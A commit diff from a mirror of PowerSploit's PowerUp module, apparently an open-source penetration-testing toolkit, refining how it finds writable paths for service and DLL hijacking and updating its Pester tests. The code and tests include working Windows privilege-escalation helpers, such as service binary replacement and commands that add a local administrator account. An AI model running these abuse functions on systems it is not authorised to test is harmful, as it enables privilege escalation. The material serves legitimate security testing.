mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
Get-ModifiablePath now also checks parent folders of files for modification
Bug fixes Corrected PowerUp Pester tests Changed 'Path' field to 'ModifiablePath' in 'Get-ModifiablePath' Get-ServiceUnquoted now filters paths through Get-ModifiablePath
This commit is contained in:
+99
-31
@@ -763,6 +763,10 @@ function Get-ModifiablePath {
|
||||
|
||||
The string path to parse for modifiable files. Required
|
||||
|
||||
.PARAMETER LiteralPaths
|
||||
|
||||
Switch. Treat all paths as literal (i.e. don't do 'tokenization').
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
PS C:\> '"C:\Temp\blah.exe" -f "C:\Temp\config.ini"' | Get-ModifiablePath
|
||||
@@ -788,7 +792,10 @@ function Get-ModifiablePath {
|
||||
[Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
|
||||
[Alias('FullName')]
|
||||
[String[]]
|
||||
$Path
|
||||
$Path,
|
||||
|
||||
[Switch]
|
||||
$LiteralPaths
|
||||
)
|
||||
|
||||
BEGIN {
|
||||
@@ -835,9 +842,52 @@ function Get-ModifiablePath {
|
||||
# possible separator character combinations
|
||||
$SeparationCharacterSets = @('"', "'", ' ', "`"'", '" ', "' ", "`"' ")
|
||||
|
||||
ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
|
||||
$CandidatePaths += $TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
|
||||
Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
|
||||
if($PSBoundParameters['LiteralPaths']) {
|
||||
|
||||
$TempPath = $([System.Environment]::ExpandEnvironmentVariables($TargetPath))
|
||||
|
||||
if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
|
||||
$CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
|
||||
}
|
||||
else {
|
||||
# if the path doesn't exist, check if the parent folder allows for modification
|
||||
try {
|
||||
$ParentPath = Split-Path $TempPath -Parent
|
||||
if($ParentPath -and (Test-Path -Path $ParentPath)) {
|
||||
$CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
|
||||
}
|
||||
}
|
||||
catch {
|
||||
# because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
ForEach($SeparationCharacterSet in $SeparationCharacterSets) {
|
||||
$TargetPath.Split($SeparationCharacterSet) | Where-Object {$_ -and ($_.trim() -ne '')} | ForEach-Object {
|
||||
if(($SeparationCharacterSet -notmatch ' ')) {
|
||||
$TempPath = $([System.Environment]::ExpandEnvironmentVariables($_))
|
||||
|
||||
if(Test-Path -Path $TempPath -ErrorAction SilentlyContinue) {
|
||||
$CandidatePaths += Resolve-Path -Path $TempPath | Select-Object -ExpandProperty Path
|
||||
}
|
||||
else {
|
||||
# if the path doesn't exist, check if the parent folder allows for modification
|
||||
try {
|
||||
$ParentPath = Split-Path $TempPath -Parent
|
||||
if($ParentPath -and (Test-Path -Path $ParentPath )) {
|
||||
$CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
|
||||
}
|
||||
}
|
||||
catch {
|
||||
# because Split-Path doesn't handle -ErrorAction SilentlyContinue nicely
|
||||
}
|
||||
}
|
||||
}
|
||||
else {
|
||||
$CandidatePaths += Resolve-Path -Path $([System.Environment]::ExpandEnvironmentVariables($_)) -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -850,7 +900,7 @@ function Get-ModifiablePath {
|
||||
$Permissions = $AccessMask.Keys | Where-Object { $FileSystemRights -band $_ } | ForEach-Object { $accessMask[$_] }
|
||||
|
||||
# the set of permission types that allow for modification
|
||||
$Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile') -IncludeEqual -ExcludeDifferent
|
||||
$Comparison = Compare-Object -ReferenceObject $Permissions -DifferenceObject @('GenericWrite', 'GenericAll', 'MaximumAllowed', 'WriteOwner', 'WriteDAC', 'WriteData/AddFile', 'AppendData/AddSubdirectory') -IncludeEqual -ExcludeDifferent
|
||||
|
||||
if($Comparison) {
|
||||
if ($_.IdentityReference -notmatch '^S-1-5.*') {
|
||||
@@ -867,7 +917,7 @@ function Get-ModifiablePath {
|
||||
|
||||
if($CurrentUserSids -contains $IdentitySID) {
|
||||
New-Object -TypeName PSObject -Property @{
|
||||
Path = $CandidatePath
|
||||
ModifiablePath = $CandidatePath
|
||||
IdentityReference = $_.IdentityReference
|
||||
Permissions = $Permissions
|
||||
}
|
||||
@@ -924,7 +974,7 @@ function Get-CurrentUserTokenGroupSid {
|
||||
|
||||
[UInt32]$RealSize = 0
|
||||
|
||||
# query the current process token with the 'TokenGroups=' constant to retrieve a TOKEN_GROUPS structure
|
||||
# query the current process token with the 'TokenGroups=2' TOKEN_INFORMATION_CLASS enum to retrieve a TOKEN_GROUPS structure
|
||||
$Success2 = $Advapi32::GetTokenInformation($hProcToken, 2, $TokenGroupsPtr, $TokenGroupsPtrSize, [ref]$TokenGroupsPtrSize);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
|
||||
if($Success2) {
|
||||
@@ -1389,24 +1439,29 @@ function Get-ServiceUnquoted {
|
||||
$VulnServices = Get-WmiObject -Class win32_service | Where-Object {$_} | Where-Object {($_.pathname -ne $null) -and ($_.pathname.trim() -ne '')} | Where-Object { (-not $_.pathname.StartsWith("`"")) -and (-not $_.pathname.StartsWith("'"))} | Where-Object {($_.pathname.Substring(0, $_.pathname.ToLower().IndexOf(".exe") + 4)) -match ".* .*"}
|
||||
|
||||
if ($VulnServices) {
|
||||
ForEach ($Service in $VulnServices){
|
||||
ForEach ($Service in $VulnServices) {
|
||||
|
||||
$ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
|
||||
$ModifiableFiles = $Service.pathname | Get-ModifiablePath
|
||||
|
||||
if($ServiceRestart) {
|
||||
$CanRestart = $True
|
||||
$ModifiableFiles | Where-Object {$_ -and $_.ModifiablePath -and ($_.ModifiablePath -ne '')} | Foreach-Object {
|
||||
$ServiceRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $Service.name
|
||||
|
||||
if($ServiceRestart) {
|
||||
$CanRestart = $True
|
||||
}
|
||||
else {
|
||||
$CanRestart = $False
|
||||
}
|
||||
|
||||
$Out = New-Object PSObject
|
||||
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
|
||||
$Out | Add-Member Noteproperty 'Path' $Service.pathname
|
||||
$Out | Add-Member Noteproperty 'ModifiablePath' $_
|
||||
$Out | Add-Member Noteproperty 'StartName' $Service.startname
|
||||
$Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath <HijackPath>"
|
||||
$Out | Add-Member Noteproperty 'CanRestart' $CanRestart
|
||||
$Out
|
||||
}
|
||||
else {
|
||||
$CanRestart = $False
|
||||
}
|
||||
|
||||
$Out = New-Object PSObject
|
||||
$Out | Add-Member Noteproperty 'ServiceName' $Service.name
|
||||
$Out | Add-Member Noteproperty 'Path' $Service.pathname
|
||||
$Out | Add-Member Noteproperty 'StartName' $Service.startname
|
||||
$Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -Name '$($Service.name)' -ServicePath <HijackPath>"
|
||||
$Out | Add-Member Noteproperty 'CanRestart' $CanRestart
|
||||
$Out
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1453,7 +1508,7 @@ function Get-ModifiableServiceFile {
|
||||
$Out = New-Object PSObject
|
||||
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
|
||||
$Out | Add-Member Noteproperty 'Path' $ServicePath
|
||||
$Out | Add-Member Noteproperty 'ModifiableFile' $_.Path
|
||||
$Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
|
||||
$Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
|
||||
$Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
|
||||
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
|
||||
@@ -1750,6 +1805,7 @@ function Invoke-ServiceAbuse {
|
||||
}
|
||||
|
||||
$TargetService | Start-Service -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 2
|
||||
}
|
||||
|
||||
if($PSBoundParameters['Force']) {
|
||||
@@ -1760,7 +1816,7 @@ function Invoke-ServiceAbuse {
|
||||
}
|
||||
|
||||
Write-Verbose "Restoring original path to service '$($TargetService.Name)'"
|
||||
|
||||
Start-Sleep -Seconds 1
|
||||
$Success = $TargetService | Set-ServiceBinPath -binPath "$OriginalServicePath"
|
||||
|
||||
if (-not $Success) {
|
||||
@@ -1775,6 +1831,7 @@ function Invoke-ServiceAbuse {
|
||||
elseif($OriginalServiceState -eq "Paused") {
|
||||
Write-Verbose "Starting and then pausing service '$($TargetService.Name)'"
|
||||
$TargetService | Start-Service
|
||||
Start-Sleep -Seconds 1
|
||||
$TargetService | Set-Service -Status Paused -ErrorAction Stop
|
||||
}
|
||||
elseif($OriginalServiceState -eq "Stopped") {
|
||||
@@ -2101,13 +2158,13 @@ function Install-ServiceBinary {
|
||||
|
||||
$ServiceDetails = $TargetService | Get-ServiceDetail
|
||||
|
||||
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath
|
||||
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths
|
||||
|
||||
if(-not $ModifiableFiles) {
|
||||
throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
|
||||
}
|
||||
|
||||
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path
|
||||
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
|
||||
$BackupPath = "$($ServicePath).bak"
|
||||
|
||||
Write-Verbose "Backing up '$ServicePath' to '$BackupPath'"
|
||||
@@ -2185,13 +2242,13 @@ function Restore-ServiceBinary {
|
||||
|
||||
$ServiceDetails = $TargetService | Get-ServiceDetail
|
||||
|
||||
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath
|
||||
$ModifiableFiles = $ServiceDetails.PathName | Get-ModifiablePath -LiteralPaths
|
||||
|
||||
if(-not $ModifiableFiles) {
|
||||
throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user."
|
||||
}
|
||||
|
||||
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path
|
||||
$ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty ModifiablePath
|
||||
$BackupPath = "$($ServicePath).bak"
|
||||
|
||||
Copy-Item -Path $BackupPath -Destination $ServicePath -Force
|
||||
@@ -2310,7 +2367,7 @@ function Find-ProcessDLLHijack {
|
||||
|
||||
$TargetProcess = Get-Process -Name $ProcessName
|
||||
|
||||
if($TargetProcess.Path -and ($TargetProcess.Path -ne '')) {
|
||||
if($TargetProcess -and $TargetProcess.Path -and ($TargetProcess.Path -ne '') -and ($TargetProcess.Path -ne $Null)) {
|
||||
|
||||
try {
|
||||
$BasePath = $TargetProcess.Path | Split-Path -Parent
|
||||
@@ -2391,7 +2448,18 @@ function Find-PathDLLHijack {
|
||||
[CmdletBinding()]
|
||||
Param()
|
||||
|
||||
Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | Get-ModifiablePath
|
||||
# use -LiteralPaths so the spaces in %PATH% folders are not tokenized
|
||||
Get-Item Env:Path | Select-Object -ExpandProperty Value | ForEach-Object { $_.split(';') } | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
|
||||
$TargetPath = $_
|
||||
|
||||
$ModifidablePaths = $TargetPath | Get-ModifiablePath -LiteralPaths | Where-Object {$_ -and ($_ -ne $Null) -and ($_.ModifiablePath -ne $Null) -and ($_.ModifiablePath.Trim() -ne '')}
|
||||
ForEach($ModifidablePath in $ModifidablePaths) {
|
||||
if($ModifidablePath.ModifiablePath -ne $Null) {
|
||||
$ModifidablePath | Add-Member Noteproperty '%PATH%' $_
|
||||
$ModifidablePath
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -3572,7 +3640,7 @@ function Invoke-AllChecks {
|
||||
"`n`n[*] Checking %PATH% for potentially hijackable DLL locations..."
|
||||
$Results = Find-PathDLLHijack
|
||||
$Results | Foreach-Object {
|
||||
$AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'"
|
||||
$AbuseString = "Write-HijackDll -DllPath '$($_.ModifiablePath)\wlbsctrl.dll'"
|
||||
$_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString
|
||||
$_
|
||||
} | Format-List
|
||||
|
||||
+96
-81
@@ -38,8 +38,8 @@ Describe 'Get-ModifiablePath' {
|
||||
try {
|
||||
$Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'Path') {
|
||||
Throw "Get-ModifiablePath result doesn't contain 'Path' field."
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') {
|
||||
Throw "Get-ModifiablePath result doesn't contain 'ModifiablePath' field."
|
||||
}
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'Permissions') {
|
||||
@@ -61,7 +61,7 @@ Describe 'Get-ModifiablePath' {
|
||||
|
||||
try {
|
||||
$Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1
|
||||
$Output.Path | Should Be $FilePath
|
||||
$Output.ModifiablePath | Should Be $FilePath
|
||||
}
|
||||
finally {
|
||||
$Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
|
||||
@@ -92,20 +92,13 @@ Describe 'Get-ModifiablePath' {
|
||||
|
||||
try {
|
||||
$Output = Get-ModifiablePath -Path $FilePath | Select-Object -First 1
|
||||
$Output.Path | Should Be $FilePath
|
||||
$Output.ModifiablePath | Should Be $FilePath
|
||||
}
|
||||
finally {
|
||||
$Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
|
||||
}
|
||||
}
|
||||
|
||||
It 'Should return no results for a non-existent path.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
|
||||
$Output = Get-ModifiablePath -Path $FilePath
|
||||
$Output | Should BeNullOrEmpty
|
||||
}
|
||||
|
||||
It 'Should accept a path string over the pipeline.' {
|
||||
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
|
||||
$Null | Out-File -FilePath $FilePath -Force
|
||||
@@ -514,19 +507,6 @@ Describe 'Get-ModifiableServiceFile' {
|
||||
$Null = Remove-Item -Path $ServicePath -Force
|
||||
}
|
||||
}
|
||||
|
||||
It 'Should not return a service with a non-existent service binary.' {
|
||||
$ServiceName = Get-RandomName
|
||||
$ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
|
||||
|
||||
sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS'
|
||||
|
||||
$Output = Get-ModifiableServiceFile | Where-Object { $_.ServiceName -eq $ServiceName }
|
||||
|
||||
$Output | Should BeNullOrEmpty
|
||||
|
||||
sc.exe delete $ServiceName | Should Match 'SUCCESS'
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -660,7 +640,7 @@ Describe 'Invoke-ServiceAbuse' {
|
||||
}
|
||||
|
||||
It 'Should accept custom user/password arguments.' {
|
||||
$Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!'
|
||||
$Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!'
|
||||
$Output.Command | Should Match 'net'
|
||||
|
||||
if( -not ($(net localgroup Administrators) -match 'PowerUp')) {
|
||||
@@ -786,18 +766,22 @@ Describe 'Install-ServiceBinary' {
|
||||
}
|
||||
|
||||
It 'Should accept custom user/password arguments.' {
|
||||
$Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!'
|
||||
$Output.Command | Should Match 'net'
|
||||
try {
|
||||
$Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!'
|
||||
$Output.Command | Should Match 'net'
|
||||
|
||||
$Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net localgroup Administrators) -match 'PowerUp')) {
|
||||
Throw "Local user 'PowerUp' not created."
|
||||
$Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net localgroup Administrators) -match 'PowerUp')) {
|
||||
Throw "Local user 'PowerUp' not created."
|
||||
}
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
finally {
|
||||
$Null = $(net user PowerUp /delete >$Null 2>&1)
|
||||
}
|
||||
$Null = $(net user PowerUp /delete >$Null 2>&1)
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
|
||||
It 'Should accept a credential object.' {
|
||||
@@ -820,33 +804,41 @@ Describe 'Install-ServiceBinary' {
|
||||
}
|
||||
|
||||
It 'Should accept an alternate LocalGroup.' {
|
||||
$Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' -LocalGroup 'Guests'
|
||||
$Output.Command | Should Match 'net'
|
||||
try {
|
||||
$Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username 'PowerUp' -Password 'PASSword123!' -LocalGroup 'Guests'
|
||||
$Output.Command | Should Match 'net'
|
||||
|
||||
$Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net localgroup Guests) -match 'PowerUp')) {
|
||||
Throw "Local user 'PowerUp' not created."
|
||||
$Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net localgroup Guests) -match 'PowerUp')) {
|
||||
Throw "Local user 'PowerUp' not created."
|
||||
}
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
finally {
|
||||
$Null = $(net user PowerUp /delete >$Null 2>&1)
|
||||
}
|
||||
$Null = $(net user PowerUp /delete >$Null 2>&1)
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
|
||||
It 'Should accept a custom command.' {
|
||||
$Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add"
|
||||
$Output.Command | Should Match 'net'
|
||||
try {
|
||||
$Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add"
|
||||
$Output.Command | Should Match 'net'
|
||||
|
||||
$Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net user) -match "testing")) {
|
||||
Throw "Custom command failed."
|
||||
$Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Seconds 3
|
||||
if( -not ($(net user) -match "testing")) {
|
||||
Throw "Custom command failed."
|
||||
}
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
finally {
|
||||
$Null = $(net user testing /delete >$Null 2>&1)
|
||||
}
|
||||
$Null = $(net user testing /delete >$Null 2>&1)
|
||||
|
||||
$Output = Restore-ServiceBinary -ServiceName PowerUpService
|
||||
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
|
||||
}
|
||||
}
|
||||
|
||||
@@ -883,30 +875,53 @@ Describe 'Find-PathDLLHijack' {
|
||||
|
||||
New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force
|
||||
|
||||
try {
|
||||
$OldPath = $Env:PATH
|
||||
$Env:PATH += ';C:\PowerUpTest\'
|
||||
$OldPath = $Env:PATH
|
||||
$Env:PATH += ';C:\PowerUpTest\'
|
||||
|
||||
$Output = Find-PathDLLHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1
|
||||
$Output = Find-PathDLLHijack | Where-Object {$_.ModifiablePath -like "*PowerUpTest*"} | Select-Object -First 1
|
||||
|
||||
$Env:PATH = $OldPath
|
||||
$Env:PATH = $OldPath
|
||||
|
||||
$Output.Path | Should Be 'C:\PowerUpTest\'
|
||||
$Output.ModifiablePath | Should Be 'C:\PowerUpTest\'
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'Path') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'Path' field."
|
||||
}
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'Permissions') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field."
|
||||
}
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field."
|
||||
}
|
||||
if ($Output.PSObject.Properties.Name -notcontains '%PATH%') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain '%PATH%' field."
|
||||
}
|
||||
catch {
|
||||
$Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field."
|
||||
}
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'Permissions') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field."
|
||||
}
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field."
|
||||
}
|
||||
|
||||
$Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue
|
||||
}
|
||||
|
||||
It "Should find a hijackable %PATH% folder that doesn't yet exist." {
|
||||
|
||||
$OldPath = $Env:PATH
|
||||
$Env:PATH += ';C:\PowerUpTest\'
|
||||
|
||||
$Output = Find-PathDLLHijack | Where-Object {$_.'%PATH%' -eq 'C:\PowerUpTest\'} | Select-Object -First 1
|
||||
|
||||
$Env:PATH = $OldPath
|
||||
|
||||
$Output.ModifiablePath | Should Be 'C:\'
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains '%PATH%') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field."
|
||||
}
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'ModifiablePath') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'ModifiablePath' field."
|
||||
}
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'Permissions') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field."
|
||||
}
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') {
|
||||
Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field."
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -968,9 +983,9 @@ Describe 'Get-ModifiableRegistryAutoRun' {
|
||||
$Null | Out-File -FilePath $FilePath -Force
|
||||
$Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'"
|
||||
|
||||
$Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1
|
||||
$Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.ModifiableFile -like "*$FilePath*"} | Select-Object -First 1
|
||||
|
||||
$Output.ModifiableFile.Path | Should Be $FilePath
|
||||
$Output.ModifiableFile.ModifiablePath | Should Be $FilePath
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'Key') {
|
||||
Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field."
|
||||
@@ -982,8 +997,8 @@ Describe 'Get-ModifiableRegistryAutoRun' {
|
||||
Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field."
|
||||
}
|
||||
|
||||
if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') {
|
||||
Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Path' field."
|
||||
if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'ModifiablePath') {
|
||||
Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'ModifiablePath' field."
|
||||
}
|
||||
if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') {
|
||||
Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field."
|
||||
@@ -1027,7 +1042,7 @@ Describe 'Get-ModifiableScheduledTaskFile' {
|
||||
$Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1
|
||||
$Null = schtasks.exe /delete /tn PowerUp /f
|
||||
|
||||
$Output.TaskFilePath.Path | Should Be $FilePath
|
||||
$Output.TaskFilePath.ModifiablePath | Should Be $FilePath
|
||||
|
||||
if ($Output.PSObject.Properties.Name -notcontains 'TaskName') {
|
||||
Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field."
|
||||
@@ -1039,8 +1054,8 @@ Describe 'Get-ModifiableScheduledTaskFile' {
|
||||
Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field."
|
||||
}
|
||||
|
||||
if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Path') {
|
||||
Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Path' field."
|
||||
if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'ModifiablePath') {
|
||||
Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'ModifiablePath' field."
|
||||
}
|
||||
if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') {
|
||||
Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field."
|
||||
|
||||
Reference in New Issue
Block a user